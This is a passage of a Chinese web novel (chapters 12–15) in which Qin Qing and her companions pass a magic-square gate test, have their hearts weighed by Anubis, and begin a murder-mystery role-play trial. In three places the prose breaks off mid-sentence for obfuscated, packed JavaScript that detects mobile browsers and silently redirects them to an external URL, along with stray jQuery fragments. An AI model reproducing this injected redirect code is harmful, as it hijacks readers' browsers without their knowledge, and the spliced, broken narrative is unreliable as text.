“敢问火神,进城后的考验是什么,若是通过不了……”慕容断还未问完,便在洛基的视线下,闭上了嘴巴,额头的虚汗也一颗一颗的冒了出来,他心里不断地吐槽:我去!不愧是昔日的北欧三巨头之一,压迫感好强,真不知道阿轻是怎么做到面不改色的! “考验,本神也不知,但通过不了,唯有死路一条。” 洛基的意思再清楚不过,如果连城门都进不去,纵使多洛城不杀你,他也会让你死无葬身之地! 慕容断冷汗涔涔,捏拳表态:“请火神放心,我一定竭尽全力!” “活人手持死亡之书,方有入城资格,视生如视死,本身就透露了一个讯息:随时做好死亡的觉悟。” 秦轻仔细看着手里薄薄的一册通体漆黑的书,不自觉地轻声呢喃。 洛基唇角微勾,向她投去赞赏的目光:“事不宜迟,即刻出发,恰好这包间内就有一个传送阵,你们站过去吧。” 慕容断和沙利叶没想到事情这么急,赶紧各凭本事,将自己的脸变得“嫩”些,急匆匆地站到洛基指定的阵法内。 “如果有生死攸关之事,高声呼喊本神的名字,至于帮与不帮,全看本神那会儿的心情。” 在传送阵启动之前,洛基走到秦轻的面前,上身前倾,轻声附耳道。 “小丫头,你这么有意思,本神打心眼里不希望你死的太快哦。” 12. 副本一 秦轻再度睁开双眼,已经不在地狱,她的视野此时完全被血雾覆盖,只是在雾中站了一会儿,整个人就快成一个血人! 浓郁到不正常的血雾,鼻腔里不断涌入的血腥气,无一不在提醒她,此刻正身处多洛城外。 从洛基的水晶球里,她就通过画面先行感受过血雾,可现在亲身体验过后,才知道多洛城究竟有多恐怖,因为这些漫山遍野、源源不断的血雾,都是人血,或许是活人的,也或许是死人的,但如此惊人的份量,可想而知这里到底埋葬过多少人。 “阿轻,快将死亡之书拿在手里,它似乎能驱散血雾。”慕容断的声音从不远处传来。 秦轻依言照做,果然,手持薄薄的一册由纸莎草做成的死亡之书后,周身如同形成了一个透明的防护罩,驱散了约莫三四米远的雾气,连带身上被浸染的血色都瞬间退去。 死亡之书的扉页上印着连枷和曲柄权杖,那是埃及神话里死亡之神欧西里斯的标志。 秦轻瞧着那个标志,垂下眼睑,若有所思。 三人会和后,决定找寻洛基口中,多洛城将要引进的城外适龄婚配的少年少女,无论如何,都得找到那个队伍,并混入其中。 他们努力在浓郁的血雾里找寻城门的轮廓,忽然秦轻被脚下的一块断碑绊了一跤,稳住身形后,她下意识地垂眸看去。 断碑在此处不知待了多少岁月,连花岗岩的内里都被血色侵袭,其上的象形文字已经斑驳不清。 秦轻却驻足端详,即便不认识,她也想记下每个字的笔画,直觉告诉她,断碑上的文字或许与多洛城有极大的关联。 “咦?这个字,我貌似认识。” 沙利叶忽然一拍脑门,怪叫一声:“我还真认识!怎么?你们这是什么眼神,不信我?” 在秦轻和慕容断将信将疑的视线下,沙利叶缓缓读出碑上的字:“我创造的每一人都与他的邻居一样,我从未命令他们做奸邪之事,但他们的心违背了我的话。” 读完之后,三人面面相觑:“这是啥意思?感觉似懂非懂。” 秦轻想了想:“我们还是继续往前走,如果再遇上碑文,看看能否辨认。”眼下的信息确实是太少。 “哼!碑文可是我认出来的哦,你们也不夸我!”沙利叶傲娇地抬了抬头,眉眼间有点小情绪了。 “好,夸你,真不愧是知识丰富的前天堂优秀员工。”秦轻的口吻,就跟哄孩子似的,沙利叶不禁俊脸一红。 他嗫嚅着嘴唇,想说一声“敷衍”,可怎么也说不出口,反而因为思绪漂浮,脚下一个踉跄,向前扑到慕容断身上:“哎呦喂!痛死我了!感觉脚趾头要裂了!” “我的腰也快被你撞断了!”慕容断揉了揉后腰,没好气地说。 “不能怪我啊,谁知道地上怎么放了那么大一石头!”沙利叶扭头指向地面,随后愕然瞪眼,横在不远处的又是一块石碑,这块石碑体量庞大,较为完整,但周身满是被攻击的痕迹,就好像曾有不少人拿它泄愤。 但令沙利叶惊愕的,不是这些劈砍刺的武器痕迹,也不是各类攻击法术的波动残留,而是碑文最上方的五个大字——最后的审判。 “在终焉之时,我将摧毁万物,大地将被滔天洪水淹没,一切重归混沌。”之后有大片的字迹极不清晰,完全无法辨认,沙利叶吐出一口长长的气,才继续念起最后的部分:“在把我自己变回一条蛇后,我将和欧西里斯留下来。” “两块碑文里的我,是同一位神灵吗?” 秦轻眉心微蹙,直觉告诉她,这个答案很重要,可熟知象形文字的沙利叶没法为她解惑。 不断地思索着两块碑文内容,在行进一段路程后,他们终于见到等候在城门外的其他少年少女。 “人都到齐了吧。那么,这就开始进城的考验。”几名狼头人身的城门守卫走了过来,分发给所有排队者,每人一张卡片:“为了防止有贼人混进队伍,特设第一关——宇宙幻方,只有原本被选定入城的人才能做出。” 秦轻三人看了看手里的卡片,卡片上画着十六宫格,四排四列,每一排只有一个格子有数字,其余三个格子都是空的。 第一排只有第一个格子有数字——16,第二排只有第二个格子有数字,数字为10,第三排第三个格子7,第四排第四个格子1。 “这是什么意思啊!没头没尾的!”慕容断烦的一扯长发,如果不是担心暴露身份,他都想拿出八卦盘掐算一下了! “是34!”秦轻忽然开口,笃定的语气让人一怔。 “你怎么知道?难道就因为视生如视死,生的谐音数字是3,而死是4吗?” 沙利叶自诩聪明,但面对这张薄薄的卡片,却一筹莫展,秦轻只看了几眼,就如此确定,怎能不让他生疑? “不是因为这个,而是这个幻方,是来自中世纪的木星幻方,十六宫格内任意方向的四个数字的和,均为34。” 秦轻一边解释,一边快速地拿笔在卡片上填了答案:“当然了,多洛城选择34作为第一关的入城考验,也许也有生与死,生死之间的意思。” “我真是服了,你懂的还真多。”沙利叶也拿起笔,刷刷地填了起来。 果不其然,当卡片交上去没多久,城门守卫就请三人进城,只不过走的是一扇漆黑的小门。 小门的上方,竟然直接书写了两字——冥界。 早在见到狼头人身的城门守卫时,秦轻就有了猜想,因此并不惊慌,但一路同行的其他少年少女却是惊恐万状:“守卫大人,我们不是通过第一关了吗?为何又要我们送死?我们不想踏入冥界,还请大人垂怜。” “鬼叫什么!谁让你们送死了?这只是第二关的考验罢了。”守卫者嗤笑一声,为这些外城人的贪生怕死。 与他们相比,秦轻三人始终面色平淡,倒叫守卫高看一眼。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15123446|164112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 进入小门,众人通过一条狭窄的仅可容一人同时通过的小道,终于在一片极致的暗影里,见到了灵魂守护者,亦是去往冥界的引路者——阿努比斯。 阿努比斯坐在一个外观华丽的棺椁上,静静地端详着每一个来者。 他有着修长劲瘦的古铜色身躯,肌肉恰到好处地覆盖全身,虽然没有夸张的隆起,但没人能小觑那具身躯里的强大爆发力。 与他胡狼头的双眸对视一眼,众人情不自禁地晕眩,好像被触及了灵魂的本源。 秦轻原本也和其他人一样,觉得头晕眼花,但那股无力感只持续了短短的一瞬,就消失的无影无踪,她猜测,必定与悬棺之主有关。 “咦?你的灵魂似乎比他们都要强韧些。” 阿努比斯走到秦轻的面前,狼鼻子耸动,轻轻嗅了嗅:“真奇怪,好像也没什么特别,可为何之前隐约有股迷死人的香气?” 他的自言自语传进秦轻的耳朵里,唐僧肉的属性,让她心里一紧,生怕被看出什么端倪。 好在阿努比斯只是纠结了一会儿,就揭了过去:“既然你的灵魂比他们都强,那就由你开始。” 话音一落,周遭的场景一变,变得富丽堂皇起来。 在众人视线的中心,摆放着一个精致的硕大的天平。 “来吧,看看你灵魂的罪孽,与一根羽毛相比,孰轻孰重?” 阿努比斯食指微勾,示意秦轻过来,当秦轻步入指定的位置,天平的另一侧,忽然出现了一名身着白衣,头戴白羽的女子,她清脆的笑声响起:“阿努,城外又来人啦?不知这次,他们又能活多久,赌局可以重开了吧。” “闭嘴!玛特!”阿努比斯冷声呵斥。 玛特,正是真相女神的名字,阿努比斯称重灵魂时所用的白羽来自于她。 “阿努,做什么这么凶啊,我们也只是太无聊了嘛,比如我,都好久没吃人了,体型都饿瘦了一圈。” 伴着粗粝的女声,又一名女子出现在天平前,她长着鳄鱼的头,和狮子的身体。 女魔阿密特,如此明显的身体特征,让秦轻一眼就认出了她。 在埃及神话里,如果亡者的心脏比羽毛轻,那么便可去往冥界,反之则立马落入阿密特的腹中。 “准备好了吗?我要取出你的心脏了。” 几乎是阿努比斯话音一落的同时,秦轻就感觉自己的胸口被一双看不见的大手,强行撕裂,妄图从胸腔捧出一颗心来。 痛!痛入骨髓的痛! 秦轻解剖过许多的尸体,这是她第一次感受到活体被解剖的剧烈痛苦! 实在是太痛了! 扑通、扑通……一颗心脏终于不堪重负,脱离了肉身,缓缓地移到天平的一边。 玛特舔了舔嘴唇,摘下一根白羽,放到天平的另一边,女魔阿密特早已饥肠辘辘,看向秦轻的目光满是垂涎,恨不得立即扑上去,将她吞吃入腹。 13. 副本一 秦轻几乎痛不欲生,可她还是强忍痛意地观察玛特和阿密特的表情。 她们紧紧盯着天平上的心脏,以及胸腔破了个大洞的秦轻,目光犹如饿狼,爆发出惊人的光亮,唇角挂着一缕晶莹的涎水,喉咙不断滑动,发出咕噜咕噜的声音。 虽然表情骇人,但完全可以克制。 正如玛特所说,约莫是她们很久没吃人的关系,而不是见到“唐僧肉”的不由自主的疯狂! 所以,秦轻推测,放在天平上的心脏,并不是真正的心脏,或许只是灵魂某方面的拟态。 难道真如阿努比斯所说,是称量灵魂的罪孽吗? 如果当真如此,那么秦轻确信她、慕容断、沙利叶三人里,至少有人会折在这里。 旁的不说,就她自己而言,卧底开局,还是多重身份,光地狱恶魔这一身份,就绝无通过考验的可能。 精美硕大的天平动了,它缓缓开始倾斜,阿密特已经饥不可耐,肥大的狮爪开始在地砖上抓挠,她做好了预备的姿势,只等天平倾斜到心脏那边,就一跃而起,先吞心脏,再吞秦轻整个躯体。 “那个阿密特,长的跟斯芬克斯挺像,如果真要被吃的时候,也不知道能不能通过猜对谜语逃过一劫?” 沙利叶悄悄绕到秦轻的身后,用几不可闻的声调,很轻地提醒。 秦轻闻言,视线不动声色地落到阿密特身上,老实说,她觉得够呛。 但这毕竟是活命的机会,真到了危机关头,她必定要试上一试。 天平倾斜到一定程度,忽然开始左右摇摆,大有一副难以抉择的架势,阿努比斯挑了挑狼眉,他做灵魂引路者这么多年,还真是极少遇见此类情况,他勾了勾唇,饶有兴致地等待着。 秦轻本人的状态还好,但慕容断和沙利叶已经紧张到几近昏厥,围观的少年少女们一个个屏住呼吸,连大声喘气都不敢,生怕一点点的气流都会影响天平的结果。 毕竟那根白色的羽毛,看上去真的太轻了。 终于在一阵剧烈的抖动中,天平的左右摇摆停止了,开始毫不犹豫地往一侧倾斜。 女魔阿密特难以置信地朝天大吼,而后颓丧地低下狰狞的鳄鱼头。 真相女神玛特则愕然地瞪大双眼,怪叫一声:“怎么可能!” 阿努比斯走到天平的近前,蹲下身去,用直尺和放大镜仔细地测量,很快便站起身来,宣布结果:“虽然猛一看,两边看似持平,但精准测量过后,天平多往白羽的方向倾斜了0.1毫米,因此,恭喜你——” 说到这里,他转身面向秦轻,缓缓地吐出一口气:“通过了这一关。” “那谢谢?”秦轻歪了歪脑袋。 阿努比斯一怔,随后朗声笑了:“你真有意思,不过不必谢我,真正该谢的还是你自己。” 言罢,他将心脏重新放回秦轻的胸腔后,便朝下一人勾了勾手指。 慕容断和沙利叶虽然全程提心吊胆,但全都通过了考验,反倒是一些看上去非常纯良的少年少女们,死在了这一关。 他们被吞进鳄鱼嘴,几乎半身骨头都被嚼碎的时候,还在不甘的嘶吼:“不可能!我的灵魂罪孽怎么可能比一根羽毛还重,我发誓从没做过坏事啊!” “骗子!满口谎言!要知道,灵魂天平可是从不撒谎的。” 阿密特将他们一一嚼烂,拆吃入腹后,从喉管发出嘶哑的怪笑:“还有,别把我和斯芬克斯那种蠢货相提并论!妄图用猜谜逃过一死?哈哈,简直是痴人说梦!” 最终,一行人里,通过考验的不足十个数。 “幸运儿们,你们该前往下一关了!” 阿努比斯朝他们微笑,笑容非常的温暖,可秦轻他们却感到一股刺骨的冰寒。 在笑容里,渐渐觉得灵魂开始出窍,就像被催眠了似的,难以抵挡的困意,猝不及防地袭来。 在众人意识昏沉之际,阿努比斯的话语响在耳畔:“第三关,角色扮演,你们的灵魂将随机附身在凶案背景的角色身上,你们在其中做出的不同抉择,也将把故事引向不同的结局。” 秦轻咬住嘴唇,想用疼痛来刺激自己短暂的清醒,但不久还是沉入一片黑暗。 待再睁开眼时,还未看清眼前的画面,鼻尖便嗅到一股浓重的血腥味,耳畔随即传来极度惊惧的尖叫。 那声尖叫,分贝极高,就像狠狠敲打在人的天灵盖上,刺激极大,秦轻一下子醒过神! 她张目望去,自己正身处一间四面木墙的卧室内,不远处的血色床单上正躺着一个上半身赤裸的男人,而她的身旁,是以手捂嘴、惊恐万状的卷发女人,还有坐着轮椅、一脸病容的年轻男子。 那浓重的血腥气,便是从床上散发出来的。 秦轻蹙着秀眉,走近了两步,这才发现,床单的一角正不断地往下滴着鲜血,它是被血色染红的,而最骇人的是,那名赤裸上身的男人,嘴唇乌青,胸口破了个大洞,内里的心脏不翼而飞。 同时不见的,还有他的右手,腕部的切口很不平整,是用刀刃多次劈砍的结果。 男人的腹部,亦有一个很深的切口,刀锋直刺,一刀入肉,倒是显得很利落。 “阿轻,发现什么没有?” 就在秦轻凝神思考的时候,轮椅男子忽然靠近,扯了扯她的袖摆,那问话的语气……慕容断? 秦轻一讶,随即想起意识昏迷前阿努比斯的话,也就不觉得奇怪了。 凶杀案的角色扮演,不同的抉择引向不同的结局,这便是第三关考验 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15128635|164112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的内容。 所以,在查看完尸体后,她是不是应该确认角色身份? “阿轻,我是慕容断。”慕容断以为她没认出自己,又悄声提醒。 “我知道。”秦轻拍了拍他的手,压低声音回答道:“我觉得凶手不止一人。” 就目前死者尸体的痕迹来看,下毒、砍手、掏心,以及腹部的戳刺,每种手法应该都暗示了一名行凶者,只是尸体未做进一步解剖前,尚不明晰究竟是哪种原因致死。 但秦轻个人的经验告诉她,毒杀致死的可能性最大。 如果是下毒这种杀人手法,凶手多半是女性。 “蹬蹬蹬”,突如其来的,身后的木制楼梯上,响起一串急促的脚步声,离的稍远些,都能听见来人的喘息。 近了,踏上最后一层台阶,来人出现在了秦轻的面前。 那是一个风韵犹存的女人,一头长发披散在肩头,发尾微微蜷曲,搭在胸口,她红唇微张,剧烈的呼吸着,当她看见床上的尸体时,面色煞白,紧接着垂下头,不断干呕起来。 “抱歉,我来迟了,这就是……凶案?未免也太吓人了!” 由于在场的每一个角色都是被外来灵魂附身的,因此角色反应,并不能作为谁是凶手的推断。 “还记得阿努比斯的话吗?角色扮演,首先我们要确认自己的角色。” 秦轻说完,也不管其他人怎么想,开始在卧室内转悠起来,她在书桌上发现了一张倒扣的相框,将它扶正后,不禁挑了挑眉:“原来我是死者的姐妹。” 慕容断操控轮椅走了过来,只见相框内放着一张全家福,死者和轮椅男子坐在中间,两边则站着卷发女子和秦轻附身的角色。 照片上有一行小字:我和我的兄弟姐妹。 于是,在场的人里,至少有三个人的身份已确定。 “不,是四个人。” 在秦轻说出三个人的瞬间,一道密语传音到她的脑海,是沙利叶的声音! “别找了,我不是幽灵,我就是被杀的死者,正躺在沾满鲜血的床单上。” 沙利叶见秦轻四处张望,忙不迭地告诉她自己的“角色”。 “噗。”秦轻不由得无声莞尔,原来他扮演的是一具尸体。 不过,兄弟姐妹四人,兄长忽然死亡,尸体还被切割,好像很容易联想到埃及神话里的某个情节。 秦轻和慕容断对视一眼,后者耸了耸肩:“如果是那个情节的话,那么我想真凶大概率是我?” 但有这么简单吗? 秦轻摇了摇头,假使死者身上的种种痕迹确为一人所为,或许就如他所说,可现在明显不是这种情况。 对死者有浓烈恨意的人不少,究竟是谁,还真不好说。 14. 副本一 “那么我呢?”后上来的女人,惊恐地抓住自己的发丝:“我的角色身份又是什么?” “不知道。”秦轻看了她一眼:“别太紧张,这间卧室还没检查完,瞧,书桌的抽屉还没打开。” 听到秦轻略显轻松的语气,女人的神情渐渐缓和:“你说的对,我应该镇静下来,但我长这么大,还是头一次遇见这样可怕的事,尸体不仅断了手,连心脏都没了。” “别想了,毕竟越想越怕。”秦轻拉开抽屉,里面放着一本黑皮本,打开扉页,竟是一本日记。 3月4日,阴 我很痛苦,因为我发现我爱上了一个不该爱的人,这是罪孽,但已无力自拔。 3月14日,阴 我的视线一直注视着她,我知道,再这样下去,迟早会被发现,但就这样吧。 3月24日,阴 我爱她,不管多少人阻挠,我的爱唯有我上绞首架的那天,才会终结。 4月1日,阴 她发现了!她会觉得我恶心吗? 4月3日,晴 她来到我的房间,答应和我在一起,这真是天降的狂喜! 4月4日 约会!定于14点,我一定要给她一个惊喜! 虽然日记本很厚,但日记的内容却不多,仅仅几页纸就看完了,可不得不说,信息量巨大。 除了日记,桌面上还有一封信,收信人那栏没有署名,因此也不知道写给谁的,信的内容是: 有些话难以启齿,我没法当面和你说,便以信代替,我知晓你一直视我为目标,我爱上她的事,必定让你觉得异常难堪,你曾多次劝我放弃爱她,可我做不到,我的心早已落在她的身上,再没法收回了,随你是怨我还是恨我,我不奢求你的理解。 落款时间是4月3日。 这封信是昨天写的,但从纸业的褶皱来看,好像被人用力地攥紧过,信就摊在桌面上,不确定捏皱它的是写信人,还是观信者。 秦轻抬头看了一眼墙上的挂钟,此刻是4月4日14点40分。 她碰了一下死者的尸体,其柔软程度,说明死亡时间不超过一小时。 加上死者的日记和信件,凶杀案似乎变得扑朔迷离起来。 打开衣柜,有个隐秘的抽屉,里面居然放满了女人的衣物,那些衣物一看就是不同年龄的女人所有,但风格基本一致,秦轻猜测它们都来自于同一个女人,而且大概率就是日记里那名不该爱的人。 最早的衣物,大约处于青春期,那个时候,死者对她爱而不自知,只是下意识地收集她的衣物。 最近的衣物,就要成熟的多,约莫处于女人二十多岁的年纪,而且衣物越来越贴身,越来越不可言说。 只看着这满抽屉的衣物,在场的几个女人不禁感到头皮发麻,因为这暗示了一个男人长时间的窥探和疯狂的觊觎。 所以,死者喜欢的“她”,也有作案的动机,况且死亡时间恰好就是约会日。 死者卧室内的线索都找的差不多了,秦轻一行人决定去屋外看看,顺便走访一下邻居。 秦轻他们沿着狭窄的木制楼梯下去,慕容断则控制轮椅从另一边又长又缓的坡道滑下,从二层木制小屋专门修建这条坡道来看,就知道死者很疼爱弟弟,或者弟弟在家人里面很受宠。 等走出双开的大门后,一行人扭头回望,这才惊讶地发现,这栋二层小楼并不如想象中的那般小,其占地面积是很大的。 只是房子不知是不是建造年限已久,期间也没怎么修缮,整体看上去破败不堪,木墙的外围长满了青苔,还有很深的霉迹,大片的墙面都已变色,变得斑驳陆离。 院子里是歪七扭八的杂草,说明主人的无心打理,地面上大量的碎石,踩到都觉得硌脚。 阴云笼罩在房子的上方,为这个本就腐朽的地方,带来了更多的不详。 秦轻皱了皱眉,回过身来,快速往院外走去。 这一片似乎是一个村落,不远处许多的木制小屋一个挨着一个,他们敲响了距离最近的,仅隔十米的邻居家的门。 还没敲一下,门就出乎意料的开了,邻居拿着望远镜走了出来,似乎毫不意外他们的到来:“你们这是什么表情?怎么跟见鬼似的?” 可不就是见鬼了吗! 秦轻暗暗吐槽,她震惊于这位新出场的邻居,竟然是个无脸人! 是的,邻居没有面孔,一张面饼似的平坦皮肉覆盖在脸部,这比打了马赛克还吓人! 眼看邻居就要不悦,最先回神的秦轻赶紧应道:“这不是没见过你手里拿的东西么,一时看呆了。” 据她观察,这个村落十分落后,望远镜绝对是个稀罕货。 果不其然,邻居一听这个,立马洋洋得意地吹嘘道:“还算你们有点眼光!这可是我花高价从村外搞到的,我敢说全村就我一人有它!” “怪不得你就像先知似的,提前知晓我们的拜访。” 秦轻是指对方及时开门的事,邻居闻言,也不掩饰自己的窥视:“是啊,多亏了望远镜,我不仅知道你们会来,还知道你的哥哥死了,死状还极惨。” 说完,他感叹似的啧啧两声,尽管他没有五官,可秦轻这一刻偏偏从他扁平的脸上瞧出几分诡异的笑来。 “挖心断手……如此邪恶的死法,必定是魔鬼所为!咱们村子可是一向明令禁止召唤魔鬼,违者处以绞刑,如果造成了恶性事件,那可就是火刑了!” 秦轻对于邻居口中的“魔鬼”言辞,毫不吃惊,因为落后的村子,必定也是十分迷信。 “但还不知道凶手是谁……”卷发女子不安地拽了拽裙摆。 “这没关系,按照咱们村子的规定,只有三天时间寻找真凶,如果找到证据,那就真凶定罪,可若是找不到……” 说到这里,邻居诡异地顿住,喉咙里发出哼哧哼哧,兴奋的声响。 “找不到会怎样?”女子赶紧追问,只觉得惊骇莫名。 “找不到?那就经过全村人的票选,得票数最多的人,那就认定为真凶,票选的话,可是没有人数限制 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15133879|164112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,但如果是我,我一定只选她一个!” 话音刚落,邻居便大手一伸,指向站在最后的那名风韵犹存的女人。 女人大惊,顿时吓的花容失色:“为什么是我?” “因为你是外来人口,一个月前才住到这里,早在你搬来不久,死者就曾和我说过,你很可疑,让我多多防备,别中了你的美人计。” 邻居往她那边走了两步,他每前进一步,她便下意识地后退一步,从他的话里,她听出她所扮演的角色,曾经试图勾引过他! 一想到自己的角色,曾对这个无脸人搔首弄姿,她就觉得胃里一阵翻滚。 呕!好想吐! 眼看着她脸色青一阵白一阵,邻居朗声大笑,用充满恶意的语调说:“你的好日子就快到头了,几天前村长就派人调查你的底细,最迟明天就能有结果,就让我瞧瞧你这张美丽的皮囊下究竟隐藏着怎样的灵魂?” “我……我……”女人嘴唇哆嗦,瞳孔惊惧地放大,再难说出一句。 秦轻在二人对话的时候,视线落进屋内,由于没了邻居身体的遮挡,里屋的景象一览无余。 一个奇异的发现,让她垂于身侧的手指,下意识地一颤。 只见邻居家里的挂钟,此刻显示的时间正是14点40分! 可是,不应该啊! 犹记得死者卧房内挂钟的时间显示的也是这个,究竟是哪个出错了! “抱歉,打扰一下,我想知道现在几点?” 秦轻走到邻居的面前,出声打断对方紧盯女人的视线,待对方视线移开,女人立马松了一口气,感激似的瞧了秦轻一眼。 “喏,那里有钟,你自己不会看?” 邻居语气里尽是被打扰的不悦,他很想讽刺地怼她“你没长眼”,但话到嘴边,还是勉强咽了下去。 “你这时间准吗?好像和我家里的时间不太一样。” 秦轻如此一说,其他几人立即回忆起挂钟上的时间,脸色一下子变得很难看。 “再准确不过,如果时间不一样,那肯定是你错了。”邻居非常笃定地说。 之后,秦轻几人告别了这位邻居,往下一户人家走去,毕竟一面之词不可信,得多问几人才好。 “阿轻,死者卧房里的时间,很明显被人调快了,能做到这种事的人……” 慕容断说到这里,话便止住,他相信秦轻一定听的懂,而且必定先行想到了此处。 照这么看来,嫌疑最大的,还是死者的家人。 之前拜访的邻居虽然手持望远镜,可并未窥见真凶的模样,但之后拜访的这位,他说:“我确定看见了一个女人,大概在下午2点左右,走进了院门,那女人速度很快,我家离的又远,实在没看清是谁。” 行凶者是女人? 这一下似乎把范围直接缩小了许多,可秦轻总觉得有什么地方不对。 “你曾说过,凶手不止一个,对吗?” 风韵犹存的女人,忽然拉住秦轻的手腕,宛若抓住了一根救命的稻草。 15. 副本一 女人的眼眶里闪烁着哀求的泪花,红唇轻咬,神情凄楚。 秦轻歪了歪脑袋,有些不明所以,在她看来,对方没必要如此:“你并不是死者的亲人,而这场凶杀案,大概率是熟人作案,死者的亲属可能性最大。” 事实上,在观察尸体的时候,秦轻就有所预料,因为尸体没有自卫的痕迹。 那是一种人在遭受攻击时,下意识用肢体反抗的本能,尤其在上肢和脸部体现的最为明显。 脸部主要是表情。 但死者的身上完全没有此类痕迹,说明他当时完全没有能力进行反抗,这足以暗示当“攻击”来袭时,他是信任加害者的。“攻击”自然也包括下毒,除非毒素强到瞬间毙命。 按照这个逻辑推理,首先就能排除风韵女人的嫌疑,因为拜访的几个邻居都曾表示死者多次说过那女人很可疑。 可真当秦轻做出如此推理的时候,她不由得蹙了蹙眉,觉得自己是否太过绝对。 风韵女人虽然不在死者的全家福照片里,但并不一定就不是死者的家人,她作为一个外村人,一个月前忽然来到此处,有可能就是为了投奔亲人。 死者虽然多次和村里人说过女人可疑,但也不排除之后改变主意的可能性。 可不管怎样,女人一定不是死者喜欢的“她”,毕竟从死者收藏的衣物来看,时间跨度较长,女人却是一个月前才搬到村里。 秦轻换了个角度,重新梳理思绪,但思考到这里,思维却又再一次地僵滞,她忽然想起了第一个邻居的话,魔鬼…… 她起初觉得是村里人的迷信,可如果真有魔鬼呢? 一切的现实,只要融入超自然元素,那就完全不能以常理来推断。 一想到这个,秦轻忽然间什么都不敢确定了。 这时,风韵女人开口了,她说的很慢,言语间还夹杂着惊惧的哽咽,毕竟她的灵魂年龄只是一个花季少女:“其实,我是担心他们所说的票选,无论我是或不是真凶,如果村里人都选了我,那我……” 字句被骤然放大的哭泣声淹没。 秦轻懂了:“所以,对于你所扮演的角色来说,若想活命,唯一的方式便是找到确凿的证据,抓住真凶。” 只要真凶落网,也就不存在票选这一环节。 “是的,希望你能帮帮我,我愿意为你所用,替你办任何事情。”说到这里,女人的眼里闪过一丝决绝,连犹豫不定的表情,也逐渐转化为了坚定,就像是下定了某种决心:“事到如今,我也不瞒你了,我有异能,但在这里使不出来,我……” 就在她焦虑着如何才能证明自己所言非虚之时,忽然瞥见秦轻和其他几人的表情,话语一下便止住了。 她怔了片刻,喃喃的、不确定地开口:“你、你们该不会也有异能吧?” 秦轻没有犹豫太久就点了头,慕容断紧随其后,卷发女子也默默地颔首。 “天呐,这也太巧了吧。” 女人捂住嘴巴,瞳孔大张,像是受到了巨大的惊吓。 “或许,这并不是巧合。”秦轻灵光一闪,忽然想起第二关里,阿努比斯说称量灵魂罪孽的事,按照道理来说,无论是她、慕容断还是沙利叶,三人都不可能通关。 可事实是,他们偏偏有惊无险地全员通关,或许就是因为异能。 卷发女子承认过后,就有些后悔,秦轻及时安抚了她:“我们现在都是一条船上的人,应该彼此守望相助才是。” 卷发女子面上点了点头,可内心总有隐忧,她暗暗念叨着:话虽如此,可若是查到真凶就在我们之中,你又会怎么做,大家又会怎么做? “接下来,我们先到你家查看,之后再回到木楼,依次查看我们三个角色的房间。” 这话,秦轻是对风韵女人说的,女人自然感激不尽。 她连忙说着“谢谢”,事实上,她选择相信秦轻,并向对方求助,就是在第二关时被秦轻的勇气感动,她觉得此人值得信任。 女人的家位于另一个方向,离死者的木楼距离很近,走在村里小道上,秦轻思索着异能的事情,如果第二关筛选的条件真是这个,那就意味着多洛城里将有大量的异能者,届时探查的难度将会大幅提升。 该说不愧是S级的副本吗? 秦轻不免苦笑,就在这时,袖摆被人轻轻攥了下,她低头看去,慕容断不知何时操控着轮椅,与她走到一处,小声道:“阿轻,跟你说个秘密,这具躯体好像是可以站起来的。” 秦轻一愣,视线下意识地落到慕容断的双腿上,隔着肥大的裤子,看不真切,但既然慕容断这么说,必定不是无的放矢。 “我真不明白他为什么要装残。”慕容断费解地抓了抓后脑勺处的短发,飘逸的长发一下子变短,他还挺不习惯。 趁着秦轻的眼神看过来,他一提裤腿,露出苍白却并不孱弱的小腿:“虽然还没试过,但绝对可以正常走动。” 这个发现,让慕容断所扮演的角色,嫌疑一下子飙高了许多。 “先别和旁人说。”秦轻小声回答,她并不是存心隐瞒,只是不想在事情不确定之前,平白无故地增加误会。 毕竟,嫌疑人是个女性的可能性更大。 他们轻声交流的动作,当然落入另外两名女子的眼中,有人很是介意,有人却选择相信。 很快,一行人就走到风韵女人的家里,她住的地方是一个单室间的简陋木屋,刚推门进去,室内的陈设便一览无余。 敞开的衣柜里是各式各样的性感长裙,数量多到柜子都塞不下的地步。 化妆台上则摆满了各种用途的化妆品,还有一叠男士照片。 秦轻拿起那叠照片,一张张地翻看,照片里的男人全都没有脸,可看衣着,全是村里的男人。 看来这些都是勾引目标? 最后一张照片里的男人终于有了五官,正是死者,但他的脸上被人用红笔画了一个大大的叉,那个红叉恰好从鼻梁处将男人的脸分成四块,而且红笔印记极深,力透纸背,鲜红的笔液在收笔处往下拖了很长的一道痕迹。 猛一看,就像是面部四分五裂后流下的血迹。 瞧上去颇为触目惊心。 不过,这张照片,恰恰证明了女人对死者曾有过深深的恨意,而且从放置顺序来看,最后一张和第一张都显得尤其特别,女人保不齐经常拿出这张照片观看,末了,再将它压回最下面。 